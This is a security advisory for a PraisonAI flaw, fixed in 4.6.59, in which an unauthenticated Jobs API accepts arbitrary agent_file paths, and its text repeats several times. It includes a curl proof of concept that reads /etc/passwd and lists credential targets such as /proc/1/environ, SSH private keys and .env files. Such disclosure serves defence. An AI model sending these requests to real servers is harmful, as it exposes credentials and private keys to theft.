CVE-2026-57119

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.

Summary

An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details

The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths:

• /proc/1/environ — environment variables, API keys
• /home//.ssh/id_rsa — SSH private keys
• /app/.env — application secrets

Impact

Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the unauthenticated Jobs API accepts an absolute or traversing agent_file path in POST /api/v1/runs and passes it to the job executor without a workspace allowlist or boundary check. A remote caller can cause the server to open files accessible to the service account, exposing credentials, keys, environment variables, and other local data. This vulnerability is fixed in 4.6.59.

Summary

An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details

The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths:

• /proc/1/environ — environment variables, API keys
• /home//.ssh/id_rsa — SSH private keys
• /app/.env — application secrets

Impact

Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

Summary

An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details

The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths:

• /proc/1/environ — environment variables, API keys
• /home//.ssh/id_rsa — SSH private keys
• /app/.env — application secrets

Impact

Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.